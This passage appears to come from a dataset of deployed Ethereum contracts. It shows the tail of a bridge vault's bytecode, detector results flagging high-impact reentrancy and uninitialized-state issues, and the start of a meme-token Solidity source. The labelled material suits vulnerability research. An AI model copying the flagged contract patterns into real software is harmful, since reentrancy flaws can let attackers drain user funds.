966020870135909116959194509250606081019150604001356401000000008111156111a957600080fd5b8201836020820111156111bb57600080fd5b803590602001918460208302840111640100000000831117156111dd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561122d57600080fd5b82018360208201111561123f57600080fd5b8035906020019184602083028401116401000000008311171561126157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156112b157600080fd5b8201836020820111156112c357600080fd5b803590602001918460018302840111640100000000831117156112e557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561133857600080fd5b82018360208201111561134a57600080fd5b8035906020019184602083028401116401000000008311171561136c57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156113bc57600080fd5b8201836020820111156113ce57600080fd5b803590602001918460208302840111640100000000831117156113f057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561144057600080fd5b82018360208201111561145257600080fd5b8035906020019184602083028401116401000000008311171561147457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550613073945050505050565b3480156114be57600080fd5b506114dc600480360360208110156114d557600080fd5b50356139de565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015611541578181015183820152602001611529565b50505050905090810190601f16801561156e5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561158b57600080fd5b50610975600480360360208110156115a257600080fd5b5035613a9c565b610237600480360360608110156115bf57600080fd5b8101906020810181356401000000008111156115da57600080fd5b8201836020820111156115ec57600080fd5b8035906020019184600183028401116401000000008311171561160e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561166157600080fd5b82018360208201111561167357600080fd5b8035906020019184600183028401116401000000008311171561169557600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156116e857600080fd5b8201836020820111156116fa57600080fd5b8035906020019184600183028401116401000000008311171561171c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550613ab1945050505050565b34801561176957600080fd5b506102376004803603608081101561178057600080fd5b81019060208101813564010000000081111561179b57600080fd5b8201836020820111156117ad57600080fd5b803590602001918460018302840111640100000000831117156117cf57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050505080351515915060208101359060400135613b2e565b34801561182957600080fd5b506102376004803603602081101561184057600080fd5b5035600160a060020a0316613be2565b34801561185c57600080fd5b50610263613c32565b34801561187157600080fd5b506102376004803603604081101561188857600080fd5b5080359060200135600160a060020a0316613c41565b3480156118aa57600080fd5b506102a9613ca4565b3480156118bf57600080fd5b506102a9600480360360208110156118d657600080fd5b5035613caa565b3480156118e957600080fd5b50610439613cbc565b3480156118fe57600080fd5b506102376004803603602081101561191557600080fd5b5035613cdc565b6102376004803603604081101561193257600080fd5b81019060208101813564010000000081111561194d57600080fd5b82018360208201111561195f57600080fd5b8035906020019184600183028401116401000000008311171561198157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156119d457600080fd5b8201836020820111156119e657600080fd5b80359060200191846001830284011164010000000083111715611a0857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550613cf8945050505050565b348015611a5557600080fd5b506102a9613d75565b348015611a6a57600080fd5b506102a9613d7a565b348015611a7f57600080fd5b5061023760048036036020811015611a9657600080fd5b5035600160a060020a0316613d80565b348015611ab257600080fd5b506102a960048036036020811015611ac957600080fd5b5035600160a060020a0316613dd0565b348015611ae557600080fd5b50610263613de2565b348015611afa57600080fd5b5061097560048036036020811015611b1157600080fd5b5035613df1565b348015611b2457600080fd5b5061023760048036036060811015611b3b57600080fd5b810190602081018135640100000000811115611b5657600080fd5b820183602082011115611b6857600080fd5b80359060200191846001830284011164010000000083111715611b8a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505082359350505060200135613e06565b348015611bdc57600080fd5b506102a960048036036020811015611bf357600080fd5b5035613e69565b610237600480360360a0811015611c1057600080fd5b600160a060020a038235169190810190604081016020820135640100000000811115611c3b57600080fd5b820183602082011115611c4d57600080fd5b80359060200191846001830284011164010000000083111715611c6f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050640100000000811115611cc257600080fd5b820183602082011115611cd457600080fd5b80359060200191846001830284011164010000000083111715611cf657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092958435959094909350604081019250602001359050640100000000811115611d5157600080fd5b820183602082011115611d6357600080fd5b80359060200191846001830284011164010000000083111715611d8557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550613e7b945050505050565b6003805482908110611dd457fe5b600091825260209091200154600160a060020a0316905081565b60186020526000908152604090205481565b60166020526000908152604090205481565b600160a060020a0384161515611e2757600080fd5b600060156000611e3686612a01565b815260208101919091526040016000205490508015611e755734811115611e5c57600080fd5b600e54611e7590600090600160a060020a031634613ef8565b611e92858585856020604051908101604052806000815250613f88565b5050505050565b60408051808201909152601181527f4574685661756c74323032313038313741000000000000000000000000000000602082015290565b60065460ff161515611ee157600080fd5b8551600214611eef57600080fd5b60176000611efc8c612a01565b8152602001908152602001600020548551141515611f1957600080fd5b6064856001815181101515611f2a57fe5b602090810290910101511115611f3f57600080fd5b60186000611f4c8c612a01565b8152602001908152602001600020548951141515611f6957600080fd5b60028b60408051908101604052806003815260200160eb60020a6208aa8902815250306040516020018084600160a060020a0316600160a060020a0316606060020a02815260140183805190602001908083835b60208310611fdc5780518252601f199092019160209182019101611fbd565b6001836020036101000a03801982511681845116808217855250505050505090500182600160a060020a0316600160a060020a0316606060020a02815260140193505050506040516020818303038152906040526040518082805190602001908083835b6020831061205f5780518252601f199092019160209182019101612040565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa15801561209e573d6000803e3d6000fd5b5050506040513d60208110156120b357600080fd5b50518651879060009081106120c457fe5b60209081029091010151146120d857600080fd5b600c60006120e58c612a01565b815260208101919091526040016000205460ff16151561210457600080fd5b600060028c8c60408051908101604052806003815260200160eb60020a6208aa89028152508d8d8d8d8d8d604051602001808a600160a060020a0316600160a060020a0316606060020a02815260140189805190602001908083835b6020831061217f5780518252601f199092019160209182019101612160565b51815160209384036101000a60001901801990921691161790528b5191909301928b0191508083835b602083106121c75780518252601f1990920191602091820191016121a8565b51815160209384036101000a60001901801990921691161790528a5191909301928a0191508083835b6020831061220f5780518252601f1990920191602091820191016121f0565b51815160209384036101000a6000190180199092169116179052600160a060020a038a8116606060020a9081029390950192835289169093026014820152865160289091019287810192500280838360005b83811015612279578181015183820152602001612261565b50505050905001838051906020019060200280838360005b838110156122a9578181015183820152602001612291565b5050505090500182805190602001908083835b602083106122db5780518252601f1990920191602091820191016122bc565b6001836020036101000a03801982511681845116808217855250505050505090500199505050505050505050506040516020818303038152906040526040518082805190602001908083835b602083106123465780518252601f199092019160209182019101612327565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa158015612385573d6000803e3d6000fd5b5050506040513d602081101561239a57600080fd5b505160008181526009602052604090205490915060ff16156123bb57600080fd5b6000818152600960205260408120805460ff191660011790556123e082868686614349565b6004549091508110156123f257600080fd5b5050600160a060020a0387811660009081526010602052604090205416156124bf57600160a060020a03808816600090815260106020526040812054875192169163f3fef3a3918b91899190811061244657fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050600060405180830381600087803b1580156124a257600080fd5b505af11580156124b6573d6000803e3d6000fd5b505050506124e2565b6124e287898760008151811015156124d357fe5b90602001906020020151613ef8565b6124eb886144f6565b80156124f75750835115155b1561265157600061252760016013548a89600081518110151561251657fe5b90602001906020020151898e614504565b90507f465957fd2b20cfb78984ff970d1d123f6a7487ba1fa0fcd701af2a792efdce54818b8a8860405180851515151581526020018060200184600160a060020a0316600160a060020a0316815260200180602001838103835286818151815260200191508051906020019080838360005b838110156125b1578181015183820152602001612599565b50505050905090810190601f1680156125de5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156126115781810151838201526020016125f9565b50505050905090810190601f16801561263e5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505b7fa866edf1861d39a9973d7892f3869e1bb4b76bc00d216872c1dd2bc547f2da2e8a8a8a6040516020018082600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040528a6040516020018082600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040528a8a8a604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019080838360005b8381101561273c578181015183820152602001612724565b50505050905090810190601f1680156127695780820380516001836020036101000a031916815260200191505b5088810387528e818151815260200191508051906020019080838360005b8381101561279f578181015183820152602001612787565b50505050905090810190601f1680156127cc5780820380516001836020036101000a031916815260200191505b5088810386528d5181528d516020918201918f019080838360005b838110156127ff5781810151838201526020016127e7565b50505050905090810190601f16801561282c5780820380516001836020036101000a031916815260200191505b5088810385528c5181528c516020918201918e019080838360005b8381101561285f578181015183820152602001612847565b50505050905090810190601f16801561288c5780820380516001836020036101000a031916815260200191505b5088810384528b5181528b51602091820191808e01910280838360005b838110156128c15781810151838201526020016128a9565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b838110156129005781810151838201526020016128e8565b50505050905001888103825289818151815260200191508051906020019080838360005b8381101561293c578181015183820152602001612924565b50505050905090810190601f1680156129695780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390a15050505050505050505050565b60085481565b60026020526000908152604090205460ff1681565b601454600160a060020a031633146129c157600080fd5b600160a060020a03821615156129d657600080fd5b600160a060020a03919091166000908152600f60205260409020805460ff1916911515919091179055565b6000600230836040516020018083600160a060020a0316600160a060020a0316606060020a02815260140182805190602001908083835b60208310612a575780518252601f199092019160209182019101612a38565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526040518082805190602001908083835b60208310612abb5780518252601f199092019160209182019101612a9c565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa158015612afa573d6000803e3d6000fd5b5050506040513d6020811015612b0f57600080fd5b505192915050565b600160209081526000928352604080842090915290825290205460ff1681565b80511515612b4457600080fd5b600060166000612b5387612a01565b815260208101919091526040016000205490508015612b925734811115612b7957600080fd5b600e54612b9290600090600160a060020a031634613ef8565b612b9f868686868661486d565b505050505050565b601454600160a060020a03163314612bbe57600080fd5b6006805460ff1916911515919091179055565b600754600160a060020a031681565b601060205260009081526040902054600160a060020a031681565b6014015190565b60065460ff1681565b333014612c1757600080fd5b600160a060020a038281166000908152601060205260409020541615612c3c57600080fd5b6000600160a060020a0383161515612c5657503031612ce4565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038516916370a08231916024808301926020929190829003018186803b158015612cb557600080fd5b505afa158015612cc9573d6000803e3d6000fd5b505050506040513d6020811015612cdf57600080fd5b505190505b612cef838383613ef8565b81600160a060020a031663b6b55f25826040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b158015612d3857600080fd5b505af1158015612d4c573d6000803e3d6000fd5b50505050600160a060020a039283166000908152601060205260409020805473ffffffffffffffffffffffffffffffffffffffff1916929093169190911790915550565b600f6020526000908152604090205460ff1681565b601454600160a060020a031681565b6006546101009004600160a060020a031681565b60135481565b600060156000612ddd86612a01565b815260208101919091526040016000205490508015612e1c5734811115612e0357600080fd5b600e54612e1c90600090600160a060020a031634613ef8565b611e9285858585602060405190810160405280600081525061486d565b600a60205260009081526040902054600160a060020a031681565b60115481565b333014612e6657600080fd5b600160a060020a03828116600090815260106020526040902054161515612e8c57600080fd5b600160a060020a038083166000908152601060205260408082205481517f853828b6000000000000000000000000000000000000000000000000000000008152915193169263853828b69260048084019391929182900301818387803b158015612ef557600080fd5b505af1158015612f09573d6000803e3d6000fd5b50505050600160a060020a03811615613032576000600160a060020a0383161515612f3657503031612fc4565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038516916370a08231916024808301926020929190829003018186803b158015612f9557600080fd5b505afa158015612fa9573d6000803e3d6000fd5b505050506040513d6020811015612fbf57600080fd5b505190505b612fcf838383613ef8565b81600160a060020a031663b6b55f25826040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b15801561301857600080fd5b505af115801561302c573d6000803e3d6000fd5b50505050505b600160a060020a039182166000908152601060205260409020805473ffffffffffffffffffffffffffffffffffffffff191691909216179055565b600d5481565b60065460ff16151561308457600080fd5b855160021461309257600080fd5b6017600061309f8c612a01565b81526020019081526020016000205485511415156130bc57600080fd5b601860006130c98c612a01565b81526020019081526020016000205489511415156130e657600080fd5b60028b60408051908101604052806003815260200160eb60020a6208aa8902815250306040516020018084600160a060020a0316600160a060020a0316606060020a02815260140183805190602001908083835b602083106131595780518252601f19909201916020918201910161313a565b6001836020036101000a03801982511681845116808217855250505050505090500182600160a060020a0316600160a060020a0316606060020a02815260140193505050506040516020818303038152906040526040518082805190602001908083835b602083106131dc5780518252601f1990920191602091820191016131bd565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa15801561321b573d6000803e3d6000fd5b5050506040513d602081101561323057600080fd5b505186518790600090811061324157fe5b602090810290910101511461325557600080fd5b600c60006132628c612a01565b815260208101919091526040016000205460ff16151561328157600080fd5b600060028c8c60408051908101604052806003815260200160eb60020a6208aa89028152508d8d8d8d8d8d60405160200180807f4e465400000000000000000000000000000000000000000000000000000000008152506003018a600160a060020a0316600160a060020a0316606060020a02815260140189805190602001908083835b602083106133245780518252601f199092019160209182019101613305565b51815160209384036101000a60001901801990921691161790528b5191909301928b0191508083835b6020831061336c5780518252601f19909201916020918201910161334d565b51815160209384036101000a60001901801990921691161790528a5191909301928a0191508083835b602083106133b45780518252601f199092019160209182019101613395565b51815160209384036101000a6000190180199092169116179052600160a060020a038a8116606060020a9081029390950192835289169093026014820152865160289091019287810192500280838360005b8381101561341e578181015183820152602001613406565b50505050905001838051906020019060200280838360005b8381101561344e578181015183820152602001613436565b5050505090500182805190602001908083835b602083106134805780518252601f199092019160209182019101613461565b6001836020036101000a03801982511681845116808217855250505050505090500199505050505050505050506040516020818303038152906040526040518082805190602001908083835b602083106134eb5780518252601f1990920191602091820191016134cc565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa15801561352a573d6000803e3d6000fd5b5050506040513d602081101561353f57600080fd5b505160008181526009602052604090205490915060ff161561356057600080fd5b6000818152600960205260408120805460ff1916600117905561358582868686614349565b60045490915081101561359757600080fd5b505030600160a060020a031687600160a060020a0316636352211e8760018151811015156135c157fe5b906020019060200201516040518263ffffffff1660e060020a0281526004018082815260200191505060206040518083038186803b15801561360257600080fd5b505afa158015613616573d6000803e3d6000fd5b505050506040513d602081101561362c57600080fd5b5051600160a060020a03161461364157600080fd5b86600160a060020a03166323b872dd308a88600181518110151561366157fe5b906020019060200201516040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281526020019350505050600060405180830381600087803b1580156136d657600080fd5b505af11580156136ea573d6000803e3d6000fd5b5050505087600160a060020a031687600160a060020a0316636352211e87600181518110151561371657fe5b906020019060200201516040518263ffffffff1660e060020a0281526004018082815260200191505060206040518083038186803b15801561375757600080fd5b505afa15801561376b573d6000803e3d6000fd5b505050506040513d602081101561378157600080fd5b5051600160a060020a03161461379657600080fd5b61379f886144f6565b80156137ab5750835115155b156138f45760006137ca60006013548a89600181518110151561251657fe5b90507f465957fd2b20cfb78984ff970d1d123f6a7487ba1fa0fcd701af2a792efdce54818b8a8860405180851515151581526020018060200184600160a060020a0316600160a060020a0316815260200180602001838103835286818151815260200191508051906020019080838360005b8381101561385457818101518382015260200161383c565b50505050905090810190601f1680156138815780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156138b457818101518382015260200161389c565b50505050905090810190601f1680156138e15780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505b7f14e7aff79a50a1d085c0f52db89b51adb553b691263a070b085f2a01ce1aeaec8a8a8a6040516020018082600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040528a6040516020018082600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040528a8a8a604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019080838360008381101561273c578181015183820152602001612724565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015613a895780601f10613a5e57610100808354040283529160200191613a89565b820191906000526020600020905b815481529060010190602001808311613a6c57829003601f168201915b5050506003909301549192505060ff1684565b60096020526000908152604090205460ff1681565b80511515613abe57600080fd5b600060166000613acd86612a01565b815260208101919091526040016000205490508015613b0b57348110613af257600080fd5b600e54613b0b90600090600160a060020a031683613ef8565b613b2860008585613b22348663ffffffff614c5316565b86613f88565b50505050565b333014613b3a57600080fd5b6000613b4585612a01565b9050613b6e60408051908101604052806003815260200160eb60020a6208aa8902815250612a01565b811415613b7a57600080fd5b6000818152600c60205260409020805460ff19168515801591909117909155613bc057600081815260186020908152604080832086905560179091529020829055611e92565b6000908152601860209081526040808320839055601790915281205550505050565b333014613bee57600080fd5b600160a060020a0381161515613c0357600080fd5b6014805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600e54600160a060020a031681565b333014613c4d57600080fd5b6127108210613c5b57600080fd5b600160a060020a0381161515613c7057600080fd5b6011919091556012805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b60055481565b60156020526000908152604090205481565b604080518082019091526003815260eb60020a6208aa8902602082015281565b601454600160a060020a03163314613cf357600080fd5b601355565b600060156000613d0785612a01565b815260208101919091526040016000205490508015613d4557348110613d2c57600080fd5b600e54613d4590600090600160a060020a031683613ef8565b613d7060008484613d5c348663ffffffff614c5316565b604080516020810190915260008152613f88565b505050565b603281565b60045481565b333014613d8c57600080fd5b600160a060020a0381161515613da157600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b6020526000908152604090205481565b601254600160a060020a031681565b600c6020526000908152604090205460ff1681565b601454600160a060020a03163314613e1d57600080fd5b6000613e2884612a01565b6000818152600c602052604090205490915060ff161515613e4857600080fd5b60009081526015602090815260408083209490945560169052919091205550565b60176020526000908152604090205481565b600160a060020a0385161515613e9057600080fd5b80511515613e9d57600080fd5b600060166000613eac87612a01565b815260208101919091526040016000205490508015613eeb5734811115613ed257600080fd5b600e54613eeb90600090600160a060020a031634613ef8565b612b9f8686868686613f88565b600160a060020a0383161515613f6e57604051600090600160a060020a0384169083908381818185875af1925050503d8060008114613f53576040519150601f19603f3d011682016040523d82523d6000602084013e613f58565b606091505b50509050801515613f6857600080fd5b50613d70565b613d70600160a060020a038416838363ffffffff614c9e16565b60065460ff161515613f9957600080fd5b600c6000613fa686612a01565b815260208101919091526040016000205460ff161515613fc557600080fd5b811515613fd157600080fd5b600160a060020a0385166000908152600f602052604090205460ff1615613ff757600080fd5b6000600160a060020a038616151561401157506012614097565b61402c600160a060020a03871633308663ffffffff614d0916565b85600160a060020a031663313ce5676040518163ffffffff1660e060020a02815260040160206040518083038186803b15801561406857600080fd5b505afa15801561407c573d6000803e3d6000fd5b505050506040513d602081101561409257600080fd5b505190505b600060ff8216116140a757600080fd5b600160a060020a03808716600090815260106020526040902054168015614135576140d3878286613ef8565b80600160a060020a031663b6b55f25856040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b15801561411c57600080fd5b505af1158015614130573d6000803e3d6000fd5b505050505b60006011541180156141515750601254600160a060020a031615155b15614179576000614163888685614d7c565b9050614175858263ffffffff614c5316565b9450505b6008546001016008819055507fa6103c513fe87f7876c848403a612d7790465e2531fed80df0c74dae035ce8808633878a86896008548a604051808060200189600160a060020a0316600160a060020a031681526020018060200188600160a060020a0316600160a060020a031681526020018760ff1660ff1681526020018681526020018581526020018060200184810384528c818151815260200191508051906020019080838360005b8381101561423d578181015183820152602001614225565b50505050905090810190601f16801561426a5780820380516001836020036101000a031916815260200191505b5084810383528a5181528a516020918201918c019080838360005b8381101561429d578181015183820152602001614285565b50505050905090810190601f1680156142ca5780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b838110156142fd5781810151838201526020016142e5565b50505050905090810190601f16801561432a5780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390a150505050505050565b6003546040805182815260208084028201019091526000918291606091801561437c578160200160208202803883390190505b5090506000805b87518210156144e957600060018a8a8581518110151561439f57fe5b906020019060200201518a868151811015156143b757fe5b906020019060200201518a878151811015156143cf57fe5b9060200190602002015160405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015614430573d6000803e3d6000fd5b505060408051601f190151600160a060020a03811660009081526002602052919091205490925060ff161590506144dd57600091505b848210156144af5780600160a060020a0316848381518110151561448657fe5b60209081029091010151600160a060020a031614156144a457600080fd5b600190910190614466565b8084868151811015156144be57fe5b600160a060020a03909216602092830290910190910152600194909401935b50600190910190614383565b5091979650505050505050565b6000903b63ffffffff161190565b60008060608089156145ef578787876040516024018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015614571578181015183820152602001614559565b50505050905090810190601f16801561459e5780820380516001836020036101000a031916815260200191505b5060408051601f19818403018152919052602081018051600160e060020a03167f83c40a190000000000000000000000000000000000000000000000000000000017905296506146c9945050505050565b8787876040516024018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015614650578181015183820152602001614638565b50505050905090810190601f16801561467d5780820380516001836020036101000a031916815260200191505b5060408051601f19818403018152919052602081018051600160e060020a03167f03266d8b00000000000000000000000000000000000000000000000000000000179052965050505050505b60008911156147805784600160a060020a031689836040518082805190602001908083835b6020831061470d5780518252601f1990920191602091820191016146ee565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038160008787f1925050503d8060008114614770576040519150601f19603f3d011682016040523d82523d6000602084013e614775565b606091505b509093509050614828565b84600160a060020a0316826040518082805190602001908083835b602083106147ba5780518252601f19909201916020918201910161479b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461481c576040519150601f19603f3d011682016040523d82523d6000602084013e614821565b606091505b5090935090505b82151561483b5760009350505050614863565b600081806020019051602081101561485257600080fd5b505160001094506148639350505050565b9695505050505050565b60065460ff16151561487e57600080fd5b600c600061488b86612a01565b815260208101919091526040016000205460ff1615156148aa57600080fd5b600160a060020a03851615156148bf57600080fd5b33600160a060020a031685600160a060020a0316636352211e846040518263ffffffff1660e060020a0281526004018082815260200191505060206040518083038186803b15801561491057600080fd5b505afa158015614924573d6000803e3d6000fd5b505050506040513d602081101561493a57600080fd5b5051600160a060020a03161461494f57600080fd5b600160a060020a0385166000908152600f602052604090205460ff161561497557600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a038716916323b872dd91606480830192600092919082900301818387803b1580156149e257600080fd5b505af11580156149f6573d6000803e3d6000fd5b5050505030600160a060020a031685600160a060020a0316636352211e846040518263ffffffff1660e060020a0281526004018082815260200191505060206040518083038186803b158015614a4b57600080fd5b505afa158015614a5f573d6000803e3d6000fd5b505050506040513d6020811015614a7557600080fd5b5051600160a060020a031614614a8a57600080fd5b6008546001016008819055507f62e144fddae381faa80edcfe1a92bcb629695714557217064b483e69360cf5a28433858886600160085488604051808060200189600160a060020a0316600160a060020a031681526020018060200188600160a060020a0316600160a060020a031681526020018781526020018681526020018581526020018060200184810384528c818151815260200191508051906020019080838360005b83811015614b49578181015183820152602001614b31565b50505050905090810190601f168015614b765780820380516001836020036101000a031916815260200191505b5084810383528a5181528a516020918201918c019080838360005b83811015614ba9578181015183820152602001614b91565b50505050905090810190601f168015614bd65780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b83811015614c09578181015183820152602001614bf1565b50505050905090810190601f168015614c365780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390a15050505050565b6000614c9583836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614f0f565b90505b92915050565b60408051600160a060020a03841660248201526044808201849052825180830390910181526064909101909152602081018051600160e060020a03167fa9059cbb00000000000000000000000000000000000000000000000000000000179052613d70908490614fa9565b60408051600160a060020a038581166024830152841660448201526064808201849052825180830390910181526084909101909152602081018051600160e060020a03167f23b872dd00000000000000000000000000000000000000000000000000000000179052613b28908590614fa9565b6000614da5612710614d99601154866151af90919063ffffffff16565b9063ffffffff61524b16565b90506000811115614f0857600880546001019081905560125460408051606060020a600160a060020a03938416026020808301919091528251808303601401815260348301938490523360548401819052948a16609484015260ff881660b484015260d4830187905260f48301869052610100845260056101348401527f4f5242495400000000000000000000000000000000000000000000000000000061015484015261014060748401908152815161017485015281517fa6103c513fe87f7876c848403a612d7790465e2531fed80df0c74dae035ce8809792958c958b958b9594929384939261011481019261019490910191908b019080838360005b83811015614ebc578181015183820152602001614ea4565b50505050905090810190601f168015614ee95780820380516001836020036101000a031916815260200191505b5093840390525050600081526040805191829003019650945050505050a15b9392505050565b60008184841115614fa15760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614f66578181015183820152602001614f4e565b50505050905090810190601f168015614f935780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b614fbb82600160a060020a031661528d565b1515615011576040805160e560020a62461bcd02815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b6000606083600160a060020a0316836040518082805190602001908083835b6020831061504f5780518252601f199092019160209182019101615030565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146150b1576040519150601f19603f3d011682016040523d82523d6000602084013e6150b6565b606091505b5091509150811515615112576040805160e560020a62461bcd02815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b600081511115613b285780806020019051602081101561513157600080fd5b50511515613b28576040805160e560020a62461bcd02815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f74207375636365656400000000000000000000000000000000000000000000606482015290519081900360840190fd5b60008215156151c057506000614c98565b8282028284828115156151cf57fe5b0414614c95576040805160e560020a62461bcd02815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000614c9583836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250615295565b6000903b1190565b6000818184116152ea5760405160e560020a62461bcd02815260040180806020018281038252838181518152602001915080519060200190808383600083811015614f66578181015183820152602001614f4e565b50600083858115156152f857fe5b049594505050505056fea165627a7a723058208378daf4fa8ac02b19f33a03b82af8f67678848589062fd25d6b06703760bc0b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 331 |
0x6bE4FdF9767229F98DC812a2b6Ec51E678097860 | /**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
pragma solidity ^0.6.12;
/*
tg: AquamanInu
Join the tg to fight with us against the villains!
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
